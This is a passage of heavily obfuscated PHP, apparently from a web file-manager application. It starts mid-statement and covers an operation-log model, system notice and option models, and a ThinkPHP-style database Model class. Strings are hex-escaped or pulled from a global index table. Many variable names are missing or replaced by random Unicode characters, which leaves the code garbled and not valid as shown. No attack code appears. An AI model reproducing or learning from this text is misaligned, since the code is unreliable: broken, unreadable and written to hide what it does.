= LNG($[2403]); $[$[2398]] = LNG($[2404]); return $; } public function addLog($, $ܸ׿ = array()) { $ =& $_SERVER[]; if (!isset($this->typeList[$])) { return; } $ = Session::get($[2094]); if (!$) { $ = _get($ܸ׿, $[1753], 0); } if ($ == $[2370] && is_array($ܸ׿[$[2405]]) && !$ܸ׿[$[2405]]) { return; } $ = get_client_ip(); if (!$ܸ׿ || strlen(json_encode($ܸ׿)) >= 1024 * 64) { if ($ܸ׿ && is_array($ܸ׿)) { $ܸ׿ = array_intersect_key($ܸ׿, array_flip($[450], $[32])); $ܸ׿[$[2406]] = $; } else { $ܸ׿ = array($[2406] => $); } } else { if (is_array($ܸ׿)) { $ܸ׿[$[2406]] = $; } else { $ܸ׿ = array($[1256] => $ܸ׿, $[2406] => $); } } $ܸ׿ = array($[1743] => Session::sign(), $[1744] => intval($), $[33] => $, $[1746] => json_encode($ܸ׿)); parent::add($ܸ׿); } public function remove($) { $this->where(array($_SERVER[][468] => $))->delete(); } private function _makeOrder($ = '') { $˞ =& $_SERVER[]; $ = $˞[222]; $ = array($˞[498] => $˞[499], $˞[500] => $˞[501]); $ = Input::get($˞[506], $˞[7], $˞[2130], array($˞[2048], $˞[500])); $ = $[$]; $ = $ . "{$}\40{$}"; return $this->order($); } public function get($Ѿ = '') { $Á =& $_SERVER[]; if (!$Ѿ) { show_json(array()); } $ڥ = array(); if ($Ѿ[$Á[1753]]) { $ڥ[$Á[1753]] = $Ѿ[$Á[1753]]; } if (isset($Ѿ[$Á[805]])) { $֍ʦ = $Ѿ[$Á[805]]; $ϡƣ = isset($Ѿ[$Á[806]]) ? $Ѿ[$Á[806]] : time(); $ڥ[$Á[222]] = array($Á[384], array($֍ʦ, $ϡƣ)); } if ($Ѿ[$Á[33]]) { $沯 = explode($Á[50], $Ѿ[$Á[33]]); $Μ = $this->typeFile(); $ = array(); foreach ($沯 as $Ԧ) { $[] = $Ԧ; if (isset($Μ[$Ԧ])) { $ = array_merge($, $Μ[$Ԧ]); } } $ = array_unique($); if ($) { $ڥ[$Á[33]] = array($Á[7], $); } } else { $ڥ[$Á[33]] = array($Á[2407], $Á[2408]); } if (!empty($Ѿ[$Á[2406]])) { $ڥ[$Á[501]] = array($Á[434], "\x25{$Ѿ[$Á[2406]]}\45"); } $ݏ = $this->_makeOrder()->where($ڥ)->selectPage(); if (empty($ݏ[$Á[420]])) { show_json(array(), !0, $ݏ[$Á[417]]); } $ݏ[$Á[420]] = $this->logList($ݏ[$Á[420]]); return $ݏ; } private function ipAddress(&$ͣʬ) { $߃ =& $_SERVER[]; if (!empty($ͣʬ[$߃[2406]])) { $ = IpLocation::get($ͣʬ[$߃[2406]]); } else { $ = LNG($߃[2409]); } $ͣʬ[$߃[2410]] = $; } private function descZipDownload($, &$) { $ =& $_SERVER[]; if (!isset($[$[2411]])) { return; } $؈ = json_decode($[$[2411]], !0); foreach ($؈ as $ƭɴ) { try { $Τځ = IO::infoFullSimple($ƭɴ[$[87]]); } catch (Exception $˯) { continue; } $[$[87]] = $ƭɴ[$[87]]; $[] = $[$[184]] = $Τځ[$[184]]; $[] = $[$[2186]] = $Τځ[$[183]]; break; } return $; } private function getSourceList(&$) { $Γ =& $_SERVER[]; $ = array(); foreach ($ as $ => $) { $ = json_decode($[$Γ[501]], !0); if ($[$Γ[33]] == $Γ[1926]) { $ = $this->descZipDownload($, $); $[$][$Γ[501]] = json_encode($); continue; } if (strpos($[$Γ[33]], $Γ[2188]) !== 0) { if (!isset($[$Γ[87]]) || strpos($[$Γ[33]], $Γ[2412]) !== 0) { continue; } try { $ = IO::infoFullSimple($[$Γ[87]]); } catch (Exception $) { continue; } $[] = $[$Γ[184]] = $[$Γ[184]]; $[] = $[$Γ[2186]] = $[$Γ[183]]; $[$][$Γ[501]] = json_encode($); continue; } $[] = $[$Γ[184]]; $[] = $[$Γ[2186]]; if ($[$Γ[33]] == $Γ[595]) { $[] = $[$Γ[501]][$Γ[1213]]; $[] = $[$Γ[501]][$Γ[1214]]; } if ($[$Γ[33]] == $Γ[2197]) { $[] = $[$Γ[501]][$Γ[184]]; } } if (!$) { return array(); } return Model($Γ[869])->sourceListInfo($, !0); } private function logList($ב) { $ =& $_SERVER[]; $ӷ = array_to_keyvalue($ב, $[12], $[1753]); $ҝ = Model($[574])->userListInfo(array_unique($ӷ)); $넒 = $this->getSourceList($ב); $˹ = $this->typeAll(); $ = array(); $é = array(); foreach ($ב as $ۢ => $ĥ) { $ = $ĥ[$[33]]; $ʀՁ = isset($ҝ[$ĥ[$[1753]]]) ? $ҝ[$ĥ[$[1753]]] : !1; $ҍ = strpos($, $[2413]) === 0 ? LNG($[2414]) : LNG($[2409]); $ĥ[$[32]] = isset($ʀՁ[$[32]]) ? $ʀՁ[$[32]] : LNG($[2409]); $ĥ[$[2241]] = isset($ʀՁ[$[2241]]) ? $ʀՁ[$[2241]] : $[12]; $ĥ[$[1643]] = isset($˹[$]) ? $˹[$] : $ҍ; $ĥ[$[2129]] = $ʀՁ; $ = json_decode($ĥ[$[501]], !0); $ĥ[$[2406]] = isset($[$[2406]]) ? $[$[2406]] : $[12]; $ĥ[$[2410]] = IpLocation::get($ĥ[$[2406]]); if (strpos($, $[2188]) === 0 || isset($[$[2186]])) { $[$[90]] = $넒[$[$[184]]]; $[$[2202]] = $넒[$[$[2186]]]; if ($[$[33]] == $[595]) { $[$[501]][$[1213]] = $넒[$[$[501]][$[1213]]]; $[$[501]][$[1214]] = $넒[$[$[501]][$[1214]]]; } if ($[$[33]] == $[2197]) { $[$[501]][$[184]] = $넒[$[$[501]][$[184]]]; } if ($[$[33]] == $[1921]) { $[$[2202]] = $[$[90]]; $[$[2186]] = $[$[2202]][$[184]]; $[$[90]] = !1; $[$[184]] = $[12]; } $ = array($[1921], $[2184]); if (!in_array($[$[33]], $)) { if ($[$[90]] && $[$[90]][$[181]] == $[182]) { $é[] = $ĥ[$[450]]; unset($ב[$ۢ]); continue; } if ($[$[2202]] && $[$[2202]][$[181]] == $[182]) { $é[] = $ĥ[$[450]]; unset($ב[$ۢ]); continue; } } } $ĥ[$[501]] = $; unset($ĥ[$[2415]]); $[] = $ĥ; } $this->clearSystemPathLog($é); return $; } private function clearSystemPathLog($ꀶ) { $ؑي =& $_SERVER[]; if (count($ꀶ) == 0) { return; } $嵁 = array($ؑي[450] => array($ؑي[7], array_unique($ꀶ))); $this->where($嵁)->delete(); } public function deviceList($Ÿ, $nj = 0) { $ =& $_SERVER[]; $LJ = array($[1753] => $Ÿ, $[222] => array($[1064], $nj), $[33] => $[1895]); $❰ = array(); $£ӻ = $this->field($[2416])->where($LJ)->order($[2200])->limit(50)->select(); foreach ($£ӻ as $֙ => $у) { if ($֙ > 0 && abs($у[$[222]] - $£ӻ[$֙ - 1][$[222]]) < 5) { continue; } $£ = json_decode($у[$[501]], !0); $у[$[2406]] = isset($£[$[2406]]) ? $£[$[2406]] : $[12]; unset($£[$[2406]]); $Ϫ = $this->deviceType($£[$[2189]]); if (isset($❰[$Ϫ])) { continue; } $у[$[2410]] = IpLocation::get($у[$[2406]]); $у[$[501]] = $£; $❰[$Ϫ] = $у; } return array_values($❰); } public function deviceType($ٳ׷) { return $ٳ׷; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\145\x6d\56\156\x6f\164\x69\143\x65\114\x69\x73\164"; public $field = array("\156\x61\x6d\x65", "\x63\157\x6e\x74\145\x6e\164", "\x61\165\x74\x68", "\155\157\x64\145", "\164\x69\155\145", "\x74\171\x70\145", "\x6c\x65\x76\x65\x6c", "\x65\x6e\x61\x62\x6c\145", "\163\157\162\x74"); public function listData($Ԩ = false, $ݯ = "\x73\x6f\x72\x74", $ = false) { return parent::listData($Ԩ, $ݯ, $); } public function add($ل) { $踞 =& $_SERVER[]; $ᅬ = time(); if ($ل[$踞[16]] == $踞[2417]) { $ᅬ = strtotime($ل[$踞[197]]); } $ل[$踞[197]] = $ᅬ; return parent::insert($ل); } public function update($, $׉„) { $Ӱ =& $_SERVER[]; $ = $this->listData($); if (!$) { return !1; } $ = time(); if ($׉„[$Ӱ[16]] == $Ӱ[2417]) { $ = strtotime($׉„[$Ӱ[197]]); } $׉„[$Ӱ[197]] = $; return parent::update($, $׉„); } public function remove($) { $Ǹ = $this->listData($); if (!$Ǹ || $Ǹ[$_SERVER[][182]]) { return !1; } return parent::remove($); } public function sort($, $ӫ) { return parent::update($, $ӫ); } public function enable($χ, $݆) { return parent::update($χ, array($_SERVER[][2418] => $݆)); } private function initUserOption() { $͛£ =& $_SERVER[]; $this->optionType = $͛£[2419]; $this->modelType = $͛£[2420]; $this->field = array($͛£[2421], $͛£[32], $͛£[197], $͛£[33], $͛£[2422], $͛£[795], $͛£[217]); } public function userNoticeGet($Dz = false) { $this->initUserOption(); return parent::listData($Dz, $_SERVER[][450], !0); } public function userNoticeAdd($Տ) { $а =& $_SERVER[]; $this->initUserOption(); $ = $this->findByKey($а[2421], $Տ[$а[450]]); if ($) { return !0; } $ܟ = array($а[2421] => $Տ[$а[450]], $а[32] => $Տ[$а[32]], $а[197] => $Տ[$а[197]], $а[33] => isset($Տ[$а[33]]) ? $Տ[$а[33]] : 1, $а[2422] => isset($Տ[$а[2422]]) ? $Տ[$а[2422]] : 0, $а[795] => 0, $а[217] => 0); return parent::insert($ܟ); } public function userNoticeEdit($ړ, $ȿ) { $this->initUserOption(); return parent::update($ړ, $ȿ); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\171\x73\x74\145\155\x5f\157\x70\164\x69\x6f\x6e"; protected $jsonField = array("\x6d\145\156\x75", "\162\157\154\x65", "\162\157\154\145\x47\x72\157\x75\160", "\162\145\147\151\163\x74", "\145\155\x61\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($Α) { return "\x53\171\x73\x74\x65\x6d\117\x70\x74\x69\157\156\x5f{$Α}"; } protected function optionDefault($ǎۋ = '') { $뛱ݪ =& $_SERVER[]; if ($ǎۋ == $뛱ݪ[12]) { return $GLOBALS[$뛱ݪ[6]][$뛱ݪ[432]]; } } } goto b̃; aǰ: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\x74\141\x62\x6c\145", "\157\x72\x64\x65\162", "\x61\x6c\x69\x61\x73", "\x68\x61\166\151\x6e\147", "\147\x72\x6f\165\160", "\x6c\157\x63\x6b", "\x64\151\163\164\x69\x6e\x63\164", "\141\x75\x74\157", "\x66\x69\x6c\164\x65\x72", "\166\141\154\x69\144\141\164\145", "\162\145\163\x75\154\x74", "\x62\x69\x6e\x64", "\x74\157\153\145\156"); public function __construct($ހÈ = '', $ = '', $ν = '') { $ =& $_SERVER[]; $this->_initialize(); if (!empty($ހÈ)) { if (strpos($ހÈ, $[10])) { list($this->dbName, $this->name) = explode($[10], $ހÈ); } else { $this->name = $ހÈ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $[12]; } elseif ($[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[296]); } $this->db(0, empty($this->connection) ? $ν : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $߈ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($߈[297])) { $ = $this->dbName ? $this->dbName : think_config($߈[298]); $Τ = think_var_cache($߈[299] . strtolower(get_path_this($) . $߈[10] . $this->name)); if ($Τ) { $ = think_config($߈[300]); if (empty($) || $Τ[$߈[301]] == $) { $this->fields = $Τ; return; } } } $this->flush(); } } public function flush() { $ዓ =& $_SERVER[]; $this->db->setModel($this->name); $ͷ = $this->db->getFields($this->getTableName()); if (!$ͷ) { return !1; } $this->fields = array_keys($ͷ); $this->fields[$ዓ[302]] = !1; foreach ($ͷ as $ => $ۜ) { $[$] = $ۜ[$ዓ[33]]; if ($ۜ[$ዓ[39]]) { $this->fields[$ዓ[303]] = $; if ($ۜ[$ዓ[42]]) { $this->fields[$ዓ[302]] = !0; } } } $this->fields[$ዓ[304]] = $; if (think_config($ዓ[300])) { $this->fields[$ዓ[301]] = think_config($ዓ[300]); } if (think_config($ዓ[297])) { $ = $this->dbName ? $this->dbName : think_config($ዓ[298]); think_var_cache($ዓ[299] . strtolower(get_path_this($) . $ዓ[10] . $this->name), $this->fields); } } public function switchModel($ߟ, $ = array()) { $̆ =& $_SERVER[]; $І = ucwords(strtolower($ߟ)) . $̆[305]; if (!class_exists($І)) { think_exception($І . think_lang($̆[306])); } $this->_extModel = new $І($this->name); if (!empty($)) { foreach ($ as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($ۺ, $͞) { $this->data[$ۺ] = $͞; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($ܞ) { unset($this->data[$ܞ]); } public function __call($Ⱥ, $) { $ąݯ =& $_SERVER[]; if (in_array(strtolower($Ⱥ), $this->methods, !0)) { $this->options[strtolower($Ⱥ)] = $[0]; return $this; } elseif (in_array(strtolower($Ⱥ), array($ąݯ[307], $ąݯ[308], $ąݯ[309], $ąݯ[310], $ąݯ[311]), !0)) { $ = isset($[0]) ? $[0] : $ąݯ[211]; $ = $this->db->parseKey($); return $this->getField(strtoupper($Ⱥ) . $ąݯ[312] . $ . $ąݯ[313] . $Ⱥ, $ąݯ[307]); } elseif (strtolower(substr($Ⱥ, 0, 5)) == $ąݯ[314]) { $ = think_parse_name(substr($Ⱥ, 5)); $[$] = $[0]; return $this->where($)->find(); } elseif (strtolower(substr($Ⱥ, 0, 10)) == $ąݯ[315]) { $ = think_parse_name(substr($Ⱥ, 10)); $[$] = $[0]; return $this->where($)->getField($[1]); } elseif (isset($this->_scope[$Ⱥ])) { return $this->scope($Ⱥ, $[0]); } elseif (method_exists($this, $Ⱥ)) { array_unshift($, $Ⱥ); return call_user_func_array(array($this, $ąݯ[316]), $); } else { return call_user_func_array(array(parent, $Ⱥ), $); } } protected function call() { $ =& $_SERVER[]; $ɶ = func_get_args(); $Ϩ = array_shift($ɶ); $ƾ = $Ϩ; if (is_array($Ϩ)) { $ƾ = $Ϩ[1]; $Ϩ = $Ϩ[0]; } $ = count($ɶ) - 1; if (isset($ɶ[$]) && $ɶ[$] === $Ϩ) { think_exception(__CLASS__ . $[4] . $Ϩ . think_lang($[317])); return; } $ɶ[] = $Ϩ; if (method_exists($this, $[318])) { $׆ = call_user_func_array(array($this, $[319]), array($ƾ, $ɶ)); if (!is_null($׆) && $׆ !== !1) { return $׆; } } $҂̤ = call_user_func_array(array($this, $Ϩ), $ɶ); if (method_exists($this, $[320])) { $׆ = call_user_func_array(array($this, $[321]), array($ƾ, $ɶ, $҂̤)); if ($׆) { return $׆; } } return $҂̤; } protected function _initialize() { } protected function _facade($֥⋛) { $休 =& $_SERVER[]; if (!empty($this->fields)) { foreach ($֥⋛ as $ => $䉴) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($֥⋛[$]); } elseif (is_scalar($䉴)) { $this->_parseType($֥⋛, $); } } } if (!empty($this->options[$休[322]])) { $֥⋛ = array_map($this->options[$休[322]], $֥⋛); unset($this->options[$休[322]]); } $this->_beforeWrite($֥⋛); return $֥⋛; } protected function _beforeWrite(&$֝ʻ) { } public function add($Ѯ = '', $ = array(), $ݶ = false) { if (empty($Ѯ)) { if (!empty($this->data)) { $Ѯ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][323]); return !1; } } $ = $this->_parseOptions($); $Ѯ = $this->_facade($Ѯ); if (!1 === $this->_beforeInsert($Ѯ, $)) { return !1; } $ = $this->db->insert($Ѯ, $, $ݶ); if (!1 !== $) { $ɱɩ = $this->getLastInsID(); if ($ɱɩ) { $Ѯ[$this->getPk()] = $ɱɩ; $this->_after_insert($Ѯ, $); return $ɱɩ; } $this->_after_insert($Ѯ, $); } return $; } protected function _beforeInsert(&$ź, $؇) { } protected function _after_insert($֜, $) { } public function addAll($⍾, $ = array(), $ = false) { $ =& $_SERVER[]; if (empty($⍾)) { $this->error = think_lang($[323]); return !1; } $ = $this->_parseOptions($); foreach ($⍾ as $΅ => $߶) { $⍾[$΅] = $this->_facade($߶); } if (method_exists($this->db, $[324])) { $Он = $this->db->insertAll($⍾, $, $); } else { $this->startTrans(); foreach ($⍾ as $΅ => $߶) { $Он = $this->db->insert($߶, $, $); } $this->commit(); } if (!1 !== $Он) { $ = $this->getLastInsID(); if ($) { return $; } } return $Он; } public function selectAdd($廦 = '', $ = '', $ڜ = array()) { $ =& $_SERVER[]; $ڜ = $this->_parseOptions($ڜ); if (!1 === ($𴪼 = $this->db->selectInsert($廦 ? $廦 : $ڜ[$[325]], $ ? $ : $this->getTableName(), $ڜ))) { $this->error = think_lang($[326]); return !1; } else { return $𴪼; } } public function save($ = '', $ = array()) { $ɩ =& $_SERVER[]; if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($ɩ[323]); return !1; } } $ = $this->_facade($); $ = $this->_parseOptions($); $백 = $this->getPk(); if (!isset($[$ɩ[327]])) { if (isset($[$백])) { $[$백] = $[$백]; $[$ɩ[327]] = $; unset($[$백]); } else { $this->error = think_lang($ɩ[326]); return !1; } } if (is_array($[$ɩ[327]]) && isset($[$ɩ[327]][$백])) { $ = $[$ɩ[327]][$백]; } if (!1 === $this->_beforeUpdate($, $)) { return !1; } $ = $this->db->update($, $); if (!1 !== $) { if (isset($)) { $[$백] = $; } $this->_afterUpdate($, $); } return $; } protected function _beforeUpdate(&$҄, $) { } protected function _afterUpdate($, $̚) { } public function delete($ = array()) { $ί =& $_SERVER[]; if (empty($) && empty($this->options[$ί[327]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $֔ˤ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $ί[50])) { $Ҡ[$֔ˤ] = array($ί[328], $); } else { $Ҡ[$֔ˤ] = $; } $this->options[$ί[327]] = $Ҡ; } $ = $this->_parseOptions(); if (is_array($[$ί[327]]) && isset($[$ί[327]][$֔ˤ])) { $ = $[$ί[327]][$֔ˤ]; } $ = $this->db->delete($); if (!1 !== $) { $٧ˏ = array(); if (isset($)) { $٧ˏ[$֔ˤ] = $; } $this->_after_delete($٧ˏ, $); } return $; } protected function _after_delete($, $ŒȎ) { } public function select($̺ȇ = array()) { $ܸ =& $_SERVER[]; if (is_string($̺ȇ) || is_numeric($̺ȇ)) { $͇ = $this->getPk(); if (strpos($̺ȇ, $ܸ[50])) { $̊[$͇] = array($ܸ[328], $̺ȇ); } else { $̊[$͇] = $̺ȇ; } $this->options[$ܸ[327]] = $̊; } elseif (!1 === $̺ȇ) { $̺ȇ = $this->_parseOptions(); return $ܸ[329] . $this->db->buildSelectSql($̺ȇ) . $ܸ[330]; } $̺ȇ = $this->_parseOptions(); $ώ = $this->db->select($̺ȇ); if (!1 === $ώ) { return !1; } if (empty($ώ)) { return null; } $this->_afterSelect($ώ, $̺ȇ); return $ώ; } protected function _afterSelect(&$Ի, $Į) { } public function buildSql($ = array()) { $Ǻ׶ =& $_SERVER[]; $ = $this->_parseOptions($); return $Ǻ׶[329] . $this->db->buildSelectSql($) . $Ǻ׶[330]; } public function optionsValue($þ = null) { if (is_null($þ)) { return $this->options; } elseif (is_array($þ)) { $this->options = array_merge($this->options, $þ); } } protected function _parseOptions($ = array()) { $Ϻ =& $_SERVER[]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$Ϻ[331]])) { $[$Ϻ[331]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($[$Ϻ[332]])) { $[$Ϻ[331]] .= $Ϻ[53] . $[$Ϻ[332]]; } $[$Ϻ[333]] = $this->name; if (isset($[$Ϻ[327]]) && is_array($[$Ϻ[327]]) && !empty($) && !isset($[$Ϻ[334]]) && !isset($[$Ϻ[331]])) { foreach ($[$Ϻ[327]] as $ => $) { $ = trim($); if (in_array($, $, !0)) { if (is_scalar($)) { $this->_parseType($[$Ϻ[327]], $); } } elseif (!is_numeric($) && $Ϻ[11] != substr($, 0, 1) && !1 === strpos($, $Ϻ[10]) && !1 === strpos($, $Ϻ[312]) && !1 === strpos($, $Ϻ[205]) && !1 === strpos($, $Ϻ[335])) { unset($[$Ϻ[327]][$]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$Ց) { } protected function _parseType(&$æ, $Ý) { $̍ =& $_SERVER[]; if (empty($this->options[$̍[336]][$̍[4] . $Ý])) { $ = strtolower($this->fields[$̍[304]][$Ý]); if (!1 !== strpos($, $̍[337])) { } elseif (!1 === strpos($, $̍[338]) && !1 !== strpos($, $̍[339])) { $æ[$Ý] = intval($æ[$Ý]); } elseif (!1 !== strpos($, $̍[340]) || !1 !== strpos($, $̍[341])) { $æ[$Ý] = floatval($æ[$Ý]); } elseif (!1 !== strpos($, $̍[342])) { $æ[$Ý] = (bool) $æ[$Ý]; } } } public function find($晄 = array()) { $Ł =& $_SERVER[]; if (is_numeric($晄) || is_string($晄)) { $[$this->getPk()] = intval($晄); $this->options[$Ł[327]] = $; } $this->options[$Ł[343]] = 1; $晄 = $this->_parseOptions(); $ʹ = $this->db->select($晄); if (!1 === $ʹ) { return !1; } if (empty($ʹ)) { return null; } $this->data = $ʹ[0]; $this->_afterFind($this->data, $晄); if (!empty($this->options[$Ł[344]])) { return $this->returnResult($this->data, $this->options[$Ł[344]]); } return $this->data; } protected function _afterFind(&$􂂠ˉ, $) { } protected function returnResult($, $ʍ = '') { $Ǎ =& $_SERVER[]; if ($ʍ) { if (is_callable($ʍ)) { return call_user_func($ʍ, $); } switch (strtolower($ʍ)) { case $Ǎ[345]: return json_encode($); case $Ǎ[346]: return xml_encode($); } } return $; } public function parseFieldsMap($ܻ, $՟ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $Ď) { if ($՟ == 1) { if (isset($ܻ[$Ď])) { $ܻ[$] = $ܻ[$Ď]; unset($ܻ[$Ď]); } } else { if (isset($ܻ[$])) { $ܻ[$Ď] = $ܻ[$]; unset($ܻ[$]); } } } } return $ܻ; } public function setField($, $ۜ = '') { if (is_array($)) { $Խ = $; } else { $Խ[$] = $ۜ; } return $this->save($Խ); } public function setAdd($, $컫 = 1) { $ =& $_SERVER[]; $ݨ = $ . $[347] . $컫; if ($컫 < 0) { $ݨ = $ . $컫; } return $this->setField($, array($[348], $ݨ)); } public function getField($, $ = null) { $ =& $_SERVER[]; $ǩ[$[325]] = $; $ǩ = $this->_parseOptions($ǩ); $ = trim($); if (strpos($, $[50])) { if (!isset($ǩ[$[343]])) { $ǩ[$[343]] = is_numeric($) ? $ : $[12]; } $ = $this->db->select($ǩ); if (!empty($)) { $Ӛ = explode($[50], $); $ = array_keys($[0]); $ώ = array_shift($); $ = array_shift($); $ܳ = array(); $ڰ = count($Ӛ); foreach ($ as $Ǧ) { $΋Ϣ = $Ǧ[$ώ]; if (2 == $ڰ) { $ܳ[$΋Ϣ] = $Ǧ[$]; } else { $ܳ[$΋Ϣ] = is_string($) ? implode($, $Ǧ) : $Ǧ; } } return $ܳ; } } else { if (!0 !== $) { $ǩ[$[343]] = is_numeric($) ? $ : 1; } if ($ === $[307]) { unset($ǩ[$[343]]); } $Ǧ = $this->db->select($ǩ); if (!empty($Ǧ)) { if ($ === $[307]) { return reset($Ǧ[0]); } if (!0 !== $ && 1 == $ǩ[$[343]]) { return reset($Ǧ[0]); } foreach ($Ǧ as $) { $ޒ[] = $[$]; } return $ޒ; } } return null; } public function create($ؽ = '', $拘 = '') { $ =& $_SERVER[]; if (empty($ؽ)) { $ؽ = $_POST; } elseif (is_object($ؽ)) { $ؽ = get_object_vars($ؽ); } if (empty($ؽ) || !is_array($ؽ)) { $this->error = think_lang($[323]); return !1; } $ؽ = $this->parseFieldsMap($ؽ, 0); $拘 = $拘 ? $拘 : (!empty($ؽ[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[325]])) { $ٿ = $this->options[$[325]]; unset($this->options[$[325]]); } elseif ($拘 == THINK_MODEL_INSERT && isset($this->insertFields)) { $ٿ = $this->insertFields; } elseif ($拘 == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ٿ = $this->updateFields; } if (isset($ٿ)) { if (is_string($ٿ)) { $ٿ = explode($[50], $ٿ); } if (think_config($[349])) { $ٿ[] = think_config($[350]); } foreach ($ؽ as $ﵿ => $) { if (!in_array($ﵿ, $ٿ)) { unset($ؽ[$ﵿ]); } } } if (!$this->autoValidation($ؽ, $拘)) { return !1; } if (!$this->autoCheckToken($ؽ)) { $this->error = think_lang($[351]); return !1; } if ($this->autoCheckFields) { $ٿ = $this->getDbFields(); foreach ($ؽ as $ﵿ => $) { if (!in_array($ﵿ, $ٿ)) { unset($ؽ[$ﵿ]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $ؽ[$ﵿ] = stripslashes($); } } } $this->autoOperation($ؽ, $拘); $this->data = $ؽ; return $ؽ; } public function autoCheckToken($ކ) { $ݹߪ =& $_SERVER[]; if (isset($this->options[$ݹߪ[352]]) && !$this->options[$ݹߪ[352]]) { return !0; } if (think_config($ݹߪ[349])) { $ = think_config($ݹߪ[350]); if (!isset($ކ[$]) || Session::get($)) { return !1; } list($, $) = explode($ݹߪ[11], $ކ[$]); if ($ && Session::get($ . $ݹߪ[10] . $) === $) { Session::remove($ . $ݹߪ[10] . $); return !0; } if (think_config($ݹߪ[353])) { Session::remove($ . $ݹߪ[10] . $); } return !1; } return !0; } public function regex($, $) { $ =& $_SERVER[]; $ = array($[354] => $[355], $[356] => $[357], $[358] => $[359], $[360] => $[361], $[362] => $[363], $[364] => $[365], $[366] => $[367], $[341] => $[368], $[369] => $[370]); if (isset($[strtolower($)])) { $ = $[strtolower($)]; } return preg_match($, $) === 1; } private function autoOperation(&$, $⟲) { $يƔ =& $_SERVER[]; if (!empty($this->options[$يƔ[371]])) { $ = $this->options[$يƔ[371]]; unset($this->options[$يƔ[371]]); } elseif (!empty($this->_auto)) { $ = $this->_auto; } if (isset($)) { foreach ($ as $楹ͩ) { if (empty($楹ͩ[2])) { $楹ͩ[2] = THINK_MODEL_INSERT; } if ($⟲ == $楹ͩ[2] || $楹ͩ[2] == THINK_MODEL_BOTH) { switch (trim($楹ͩ[3])) { case $يƔ[372]: case $يƔ[373]: $ = isset($楹ͩ[4]) ? (array) $楹ͩ[4] : array(); if (isset($[$楹ͩ[0]])) { array_unshift($, $[$楹ͩ[0]]); } if ($يƔ[372] == $楹ͩ[3]) { $[$楹ͩ[0]] = call_user_func_array($楹ͩ[1], $); } else { $[$楹ͩ[0]] = call_user_func_array(array(&$this, $楹ͩ[1]), $); } break; case $يƔ[325]: $[$楹ͩ[0]] = $[$楹ͩ[1]]; break; case $يƔ[374]: if ($يƔ[12] === $[$楹ͩ[0]]) { unset($[$楹ͩ[0]]); } break; case $يƔ[375]: default: $[$楹ͩ[0]] = $楹ͩ[1]; } if (!1 === $[$楹ͩ[0]]) { unset($[$楹ͩ[0]]); } } } } return $; } protected function autoValidation($ȿ, $) { $ީ =& $_SERVER[]; if (!empty($this->options[$ީ[376]])) { $˝ = $this->options[$ީ[376]]; unset($this->options[$ީ[376]]); } elseif (!empty($this->_validate)) { $˝ = $this->_validate; } if (isset($˝)) { if ($this->patchValidate) { $this->error = array(); } foreach ($˝ as $ => $Ƿ) { if (empty($Ƿ[5]) || $Ƿ[5] == THINK_MODEL_BOTH || $Ƿ[5] == $) { if (0 == strpos($Ƿ[2], $ީ[377]) && strpos($Ƿ[2], $ީ[378])) { $Ƿ[2] = think_lang(substr($Ƿ[2], 2, -1)); } $Ƿ[3] = isset($Ƿ[3]) ? $Ƿ[3] : THINK_EXISTS_VALIDATE; $Ƿ[4] = isset($Ƿ[4]) ? $Ƿ[4] : $ީ[379]; switch ($Ƿ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($ȿ, $Ƿ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($ީ[12] != trim($ȿ[$Ƿ[0]])) { if (!1 === $this->_validationField($ȿ, $Ƿ)) { return !1; } } break; default: if (isset($ȿ[$Ƿ[0]])) { if (!1 === $this->_validationField($ȿ, $Ƿ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($, $) { if (!1 === $this->_validationFieldItem($, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($, $ȵ) { $ʐ =& $_SERVER[]; switch (strtolower(trim($ȵ[4]))) { case $ʐ[372]: case $ʐ[373]: $ř = isset($ȵ[6]) ? (array) $ȵ[6] : array(); if (is_string($ȵ[0]) && strpos($ȵ[0], $ʐ[50])) { $ȵ[0] = explode($ʐ[50], $ȵ[0]); } if (is_array($ȵ[0])) { foreach ($ȵ[0] as $) { $ï[$] = $[$]; } array_unshift($ř, $ï); } else { array_unshift($ř, $[$ȵ[0]]); } if ($ʐ[372] == $ȵ[4]) { return call_user_func_array($ȵ[1], $ř); } else { return call_user_func_array(array(&$this, $ȵ[1]), $ř); } case $ʐ[380]: return $[$ȵ[0]] == $[$ȵ[1]]; case $ʐ[381]: if (is_string($ȵ[0]) && strpos($ȵ[0], $ʐ[50])) { 